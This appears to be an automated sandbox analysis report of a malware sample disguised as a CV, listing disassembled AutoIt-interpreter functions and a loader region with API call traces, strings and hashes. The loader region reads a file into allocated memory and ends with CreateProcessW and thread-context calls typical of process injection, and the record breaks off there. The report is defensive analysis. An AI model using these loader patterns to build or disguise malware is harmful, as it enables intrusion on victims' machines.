                                                                          • Instruction ID: da934ac5c2236096c6263e5ff2312c46955f6de03da2f7279b7a4f5d7b5c66eb
                                                                          • Opcode Fuzzy Hash: feca4b0501b28de65236d68a823ea6a58c4a04fb2127b67ef69a0775b0853a66
                                                                          • Instruction Fuzzy Hash: AA4127F1104246EBDF149FA8DC4EBBA3E97FB46302F445516F902DA2D1CB619F409B61
                                                                          Function 00593E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66windowregistryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • GetSysColorBrush.USER32(0000000F), ref: 00593E79
                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00593E88
                                                                          • LoadIconW.USER32(00000063), ref: 00593E9E
                                                                          • LoadIconW.USER32(000000A4), ref: 00593EB0
                                                                          • LoadIconW.USER32(000000A2), ref: 00593EC2
                                                                            • Part of subcall function 00594024: LoadImageW.USER32(00590000,00000063,00000001,00000010,00000010,00000000), ref: 00594048
                                                                          • RegisterClassExW.USER32(?), ref: 00593F30
                                                                            • Part of subcall function 00593F53: GetSysColorBrush.USER32(0000000F), ref: 00593F86
                                                                            • Part of subcall function 00593F53: RegisterClassExW.USER32(00000030), ref: 00593FB0
                                                                            • Part of subcall function 00593F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00593FC1
                                                                            • Part of subcall function 00593F53: InitCommonControlsEx.COMCTL32(?), ref: 00593FDE
                                                                            • Part of subcall function 00593F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00593FEE
                                                                            • Part of subcall function 00593F53: LoadIconW.USER32(000000A9), ref: 00594004
                                                                            • Part of subcall function 00593F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00594013
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                          • String ID: #$0$AutoIt v3
                                                                          • API String ID: 423443420-4155596026
                                                                          • Opcode ID: 5f026e174048eb96d8d67092ced1d6b8d038dd2cd8c83d6b1c148b89502c07ba
                                                                          • Instruction ID: bae5fff54263d54b322102791953b220dd3bdf0f9a08739e46cc23944572efee
                                                                          • Opcode Fuzzy Hash: 5f026e174048eb96d8d67092ced1d6b8d038dd2cd8c83d6b1c148b89502c07ba
                                                                          • Instruction Fuzzy Hash: 9A213DB0D40304ABDB10DFA9EC49B9DBFF6FB49311F04916AE214AB2E0D7754A448F91
                                                                          Function 013F5068 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1025 13f5068-13f5116 call 13f2a68 1028 13f511d-13f5143 call 13f5f78 CreateFileW 1025->1028 1031 13f514a-13f515a 1028->1031 1032 13f5145 1028->1032 1039 13f515c 1031->1039 1040 13f5161-13f517b VirtualAlloc 1031->1040 1033 13f5295-13f5299 1032->1033 1034 13f52db-13f52de 1033->1034 1035 13f529b-13f529f 1033->1035 1041 13f52e1-13f52e8 1034->1041 1037 13f52ab-13f52af 1035->1037 1038 13f52a1-13f52a4 1035->1038 1042 13f52bf-13f52c3 1037->1042 1043 13f52b1-13f52bb 1037->1043 1038->1037 1039->1033 1044 13f517d 1040->1044 1045 13f5182-13f5199 ReadFile 1040->1045 1046 13f533d-13f5352 1041->1046 1047 13f52ea-13f52f5 1041->1047 1050 13f52c5-13f52cf 1042->1050 1051 13f52d3 1042->1051 1043->1042 1044->1033 1052 13f519b 1045->1052 1053 13f51a0-13f51e0 VirtualAlloc 1045->1053 1048 13f5354-13f535f VirtualFree 1046->1048 1049 13f5362-13f536a 1046->1049 1054 13f52f9-13f5305 1047->1054 1055 13f52f7 1047->1055 1048->1049 1050->1051 1051->1034 1052->1033 1058 13f51e7-13f5202 call 13f61c8 1053->1058 1059 13f51e2 1053->1059 1056 13f5319-13f5325 1054->1056 1057 13f5307-13f5317 1054->1057 1055->1046 1062 13f5327-13f5330 1056->1062 1063 13f5332-13f5338 1056->1063 1061 13f533b 1057->1061 1065 13f520d-13f5217 1058->1065 1059->1033 1061->1041 1062->1061 1063->1061 1066 13f524a-13f525e call 13f5fd8 1065->1066 1067 13f5219-13f5248 call 13f61c8 1065->1067 1073 13f5262-13f5266 1066->1073 1074 13f5260 1066->1074 1067->1065 1075 13f5268-13f526c CloseHandle 1073->1075 1076 13f5272-13f5276 1073->1076 1074->1033 1075->1076 1077 13f5278-13f5283 VirtualFree 1076->1077 1078 13f5286-13f528f 1076->1078 1077->1078 1078->1028 1078->1033
                                                                          APIs
                                                                          • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 013F5139
                                                                          • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 013F535F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519701964.00000000013F2000.00000040.00000020.00020000.00000000.sdmp, Offset: 013F2000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_13f2000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateFileFreeVirtual
                                                                          • String ID:
                                                                          • API String ID: 204039940-0
                                                                          • Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                          • Instruction ID: 505d2f6a12d02fbb76f0401d86287667b22d434d2eed568f8140f25438706349
                                                                          • Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                          • Instruction Fuzzy Hash: 68A1F774E00209EBEF14CFA8C894BEEBBB5FF48308F208559E615BB281D7759A45CB54
                                                                          Function 005949FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1134 5949fb-594a25 call 59bcce RegOpenKeyExW 1137 594a2b-594a2f 1134->1137 1138 6041cc-6041e3 RegQueryValueExW 1134->1138 1139 6041e5-604222 call 5af4ea call 5947b7 RegQueryValueExW 1138->1139 1140 604246-60424f RegCloseKey 1138->1140 1145 604224-60423b call 596a63 1139->1145 1146 60423d-604245 call 5947e2 1139->1146 1145->1146 1146->1140
                                                                          APIs
                                                                          • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00594A1D
                                                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 006041DB
                                                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0060421A
                                                                          • RegCloseKey.ADVAPI32(?), ref: 00604249
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: QueryValue$CloseOpen
                                                                          • String ID: Include$Software\AutoIt v3\AutoIt
                                                                          • API String ID: 1586453840-614718249
                                                                          • Opcode ID: 02d544fa667069595a4b18dcab473ad013e6b0ee1027bd69e8dd061db48205c6
                                                                          • Instruction ID: 909f71c000efa9a2331aa575d773bca653a1f054dea5a7f94138fea2c7aa41af
                                                                          • Opcode Fuzzy Hash: 02d544fa667069595a4b18dcab473ad013e6b0ee1027bd69e8dd061db48205c6
                                                                          • Instruction Fuzzy Hash: 94116D71600119BFEF14ABA4DD8ADFF7BBDEF48344F004065B506D6191EA709E029B50
                                                                          Function 005936B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1161 5936b8-593728 CreateWindowExW * 2 ShowWindow * 2
                                                                          APIs
                                                                          • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 005936E6
                                                                          • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00593707
                                                                          • ShowWindow.USER32(00000000,?,?,?,?,00593AA3,?), ref: 0059371B
                                                                          • ShowWindow.USER32(00000000,?,?,?,?,00593AA3,?), ref: 00593724
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$CreateShow
                                                                          • String ID: AutoIt v3$edit
                                                                          • API String ID: 1584632944-3779509399
                                                                          • Opcode ID: bbee6b0a156e511310089ab9dff9144d75eb5eff01865efacd78e614917a260d
                                                                          • Instruction ID: 954923d4db38ab9f58caabce9bc9ef36c6b70f973cbfc3e6fbbd030f9b9727df
                                                                          • Opcode Fuzzy Hash: bbee6b0a156e511310089ab9dff9144d75eb5eff01865efacd78e614917a260d
                                                                          • Instruction Fuzzy Hash: 95F03A705403D07AE7309B57AC08F672E7FD7C7F61F00511BBA04AA1F0C9610881CAB0
                                                                          Function 005B7B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1162 5b7b47-5b7b53 call 5b123a call 5b7e23 1167 5b7b5d-5b7b70 call 5b7e6d 1162->1167 1168 5b7b55-5b7b5c call 5b7bbd 1162->1168 1167->1168 1173 5b7b72-5b7b7a call 5b6986 1167->1173 1175 5b7b7f-5b7b85 1173->1175 1176 5b7b87-5b7b97 call 5b7ec9 1175->1176 1177 5b7bb4-5b7bbc call 5b7bbd 1175->1177 1176->1177 1182 5b7b99-5b7bb3 call 5b7a94 GetCurrentThreadId 1176->1182
                                                                          APIs
                                                                          • __init_pointers.LIBCMT ref: 005B7B47
                                                                            • Part of subcall function 005B123A: __initp_misc_winsig.LIBCMT ref: 005B125E
                                                                            • Part of subcall function 005B123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 005B7F51
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 005B7F65
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 005B7F78
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 005B7F8B
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 005B7F9E
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 005B7FB1
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 005B7FC4
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 005B7FD7
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 005B7FEA
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 005B7FFD
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 005B8010
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 005B8023
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 005B8036
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 005B8049
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 005B805C
                                                                            • Part of subcall function 005B123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 005B806F
                                                                          • __mtinitlocks.LIBCMT ref: 005B7B4C
                                                                            • Part of subcall function 005B7E23: InitializeCriticalSectionAndSpinCount.KERNEL32(0064AC68,00000FA0,?,?,005B7B51,005B5E77,00646C70,00000014), ref: 005B7E41
                                                                          • __mtterm.LIBCMT ref: 005B7B55
                                                                            • Part of subcall function 005B7BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,005B7B5A,005B5E77,00646C70,00000014), ref: 005B7D3F
                                                                            • Part of subcall function 005B7BBD: _free.LIBCMT ref: 005B7D46
                                                                            • Part of subcall function 005B7BBD: DeleteCriticalSection.KERNEL32(0064AC68,?,?,005B7B5A,005B5E77,00646C70,00000014), ref: 005B7D68
                                                                          • __calloc_crt.LIBCMT ref: 005B7B7A
                                                                          • GetCurrentThreadId.KERNEL32 ref: 005B7BA3
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
                                                                          • String ID:
                                                                          • API String ID: 2942034483-0
                                                                          • Opcode ID: 4e9fea1b4aa3999515e5e0eb8c40aa9ce9883311ad9a97846ecd0b8f66f4151a
                                                                          • Instruction ID: 0fb678ea6713a68848e5b28d25e488f723e307343cf732308e6d4d60540f97d4
                                                                          • Opcode Fuzzy Hash: 4e9fea1b4aa3999515e5e0eb8c40aa9ce9883311ad9a97846ecd0b8f66f4151a
                                                                          • Instruction Fuzzy Hash: F5F0903214D71B2DE72877747C0BACA2E89FFCA730B2046A9F860C51D2FF20B8415964
                                                                          Function 013F4E18 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153fileCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1289 13f4e18-13f4f6b call 13f2a68 call 13f4d08 CreateFileW 1296 13f4f6d 1289->1296 1297 13f4f72-13f4f82 1289->1297 1298 13f5022-13f5027 1296->1298 1300 13f4f89-13f4fa3 VirtualAlloc 1297->1300 1301 13f4f84 1297->1301 1302 13f4fa7-13f4fbe ReadFile 1300->1302 1303 13f4fa5 1300->1303 1301->1298 1304 13f4fc2-13f4ffc call 13f4d48 call 13f3d08 1302->1304 1305 13f4fc0 1302->1305 1303->1298 1310 13f4ffe-13f5013 call 13f4d98 1304->1310 1311 13f5018-13f5020 ExitProcess 1304->1311 1305->1298 1310->1311 1311->1298
                                                                          APIs
                                                                            • Part of subcall function 013F4D08: Sleep.KERNELBASE(000001F4), ref: 013F4D19
                                                                          • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 013F4F61
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519701964.00000000013F2000.00000040.00000020.00020000.00000000.sdmp, Offset: 013F2000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_13f2000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateFileSleep
                                                                          • String ID: 9HHNPTU1V1JQLGPKK
                                                                          • API String ID: 2694422964-2445280107
                                                                          • Opcode ID: cf98482f5f32681d8be323a3e196a4544a3f118d0253a9da4d4e5adc3eaf3938
                                                                          • Instruction ID: 46c6f05b708c9996510f8daa7b817fbf41ec74601091b1ec1a27125b91f54562
                                                                          • Opcode Fuzzy Hash: cf98482f5f32681d8be323a3e196a4544a3f118d0253a9da4d4e5adc3eaf3938
                                                                          • Instruction Fuzzy Hash: FD518270D14249DBEF11DBA4C854BEFBB79AF18704F004198E609BB2C1D7BA4A45CBA5
                                                                          Function 00594A30 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00595374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00651148,?,005961FF,?,00000000,00000001,00000000), ref: 00595392
                                                                            • Part of subcall function 005949FB: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00594A1D
                                                                          • _wcscat.LIBCMT ref: 00602D80
                                                                          • _wcscat.LIBCMT ref: 00602DB5
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscat$FileModuleNameOpen
                                                                          • String ID: 8!e$\$\Include\
                                                                          • API String ID: 3592542968-2056820823
                                                                          • Opcode ID: 61382ef2ff074caa09c4b18627550af06b5900924bc4fcdc06830462fad118d2
                                                                          • Instruction ID: 597cdb3cc0ed1f10745d86c5bc6e840c6eeaac198628bb5a2011f961e0dc1175
                                                                          • Opcode Fuzzy Hash: 61382ef2ff074caa09c4b18627550af06b5900924bc4fcdc06830462fad118d2
                                                                          • Instruction Fuzzy Hash: 645196764047429FCB24EF65D9A589BBBF6FF9A301F40152EF745832A0EB309908CB51
                                                                          Function 00594139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005941A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,005939FE,?,00000001), ref: 005941DB
                                                                          • _free.LIBCMT ref: 006036B7
                                                                          • _free.LIBCMT ref: 006036FE
                                                                            • Part of subcall function 0059C833: __wsplitpath.LIBCMT ref: 0059C93E
                                                                            • Part of subcall function 0059C833: _wcscpy.LIBCMT ref: 0059C953
                                                                            • Part of subcall function 0059C833: _wcscat.LIBCMT ref: 0059C968
                                                                            • Part of subcall function 0059C833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 0059C978
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
                                                                          • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                                          • API String ID: 805182592-1757145024
                                                                          • Opcode ID: f54cfa8fdc06ae481795a2b53c0bf4e84970357a49ed154642c8138dedbdf628
                                                                          • Instruction ID: 374be88c6cd46219fbbe322c04a61642f4ef3095439ac63203c833fd4c68c3b5
                                                                          • Opcode Fuzzy Hash: f54cfa8fdc06ae481795a2b53c0bf4e84970357a49ed154642c8138dedbdf628
                                                                          • Instruction Fuzzy Hash: 99915E7195022AAFCF09EFA4CC559EEBBB9BF59310F10442AF416AB391DB319A05CF50
                                                                          Function 005940E5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 00603725
                                                                          • GetOpenFileNameW.COMDLG32 ref: 0060376F
                                                                            • Part of subcall function 0059660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005953B1,?,?,005961FF,?,00000000,00000001,00000000), ref: 0059662F
                                                                            • Part of subcall function 005940A7: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005940C6
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Name$Path$FileFullLongOpen_memset
                                                                          • String ID: X$t3d
                                                                          • API String ID: 3777226403-207440771
                                                                          • Opcode ID: 90e8ad91b8b5962f8c31c5fe653e6a86f73e91dff6f6c574c0e12a982f7f7d08
                                                                          • Instruction ID: 0b844893ea2dbc25cf484383263a8fe693a9bca2662cff4a5b38a0efa0161e2e
                                                                          • Opcode Fuzzy Hash: 90e8ad91b8b5962f8c31c5fe653e6a86f73e91dff6f6c574c0e12a982f7f7d08
                                                                          • Instruction Fuzzy Hash: 25217871A101989FCF01DF98D849BDE7FF9AF89304F108059E505A7381DBB45A89CF65
                                                                          Function 005B34AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __getstream.LIBCMT ref: 005B34FE
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          • @_EH4_CallFilterFunc@8.LIBCMT ref: 005B3539
                                                                          • __wopenfile.LIBCMT ref: 005B3549
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
                                                                          • String ID: <G
                                                                          • API String ID: 1820251861-2138716496
                                                                          • Opcode ID: 13db2b3962938a7cce285502cbbb4f2f2de198dec76255578398e2f1346fcf94
                                                                          • Instruction ID: 970e72b2de122a161e4babc70ad0393a268793d0dbb5388d19788f7e2019efe5
                                                                          • Opcode Fuzzy Hash: 13db2b3962938a7cce285502cbbb4f2f2de198dec76255578398e2f1346fcf94
                                                                          • Instruction Fuzzy Hash: 8111A770A003079EDF21BF748C466EE3FA4BF85750B158925F415EB281EB34EE1197A1
                                                                          Function 005AD298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,005AD28B,SwapMouseButtons,00000004,?), ref: 005AD2BC
                                                                          • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,005AD28B,SwapMouseButtons,00000004,?,?,?,?,005AC865), ref: 005AD2DD
                                                                          • RegCloseKey.KERNELBASE(00000000,?,?,005AD28B,SwapMouseButtons,00000004,?,?,?,?,005AC865), ref: 005AD2FF
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CloseOpenQueryValue
                                                                          • String ID: Control Panel\Mouse
                                                                          • API String ID: 3677997916-824357125
                                                                          • Opcode ID: 6cc8821999bb5b6970dd965e784e861146c94ce40c3ffe0ff0566f93e74038e5
                                                                          • Instruction ID: 72dab17d93b51d0754be45a89b7413489d197820129f6192c6faf5047a1dfead
                                                                          • Opcode Fuzzy Hash: 6cc8821999bb5b6970dd965e784e861146c94ce40c3ffe0ff0566f93e74038e5
                                                                          • Instruction Fuzzy Hash: 93112775611218BFDF209FA4CC84EEE7BB8EF49744B10886AB806D7110E671AE419B60
                                                                          Function 013F3D08 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 013F44C3
                                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 013F4559
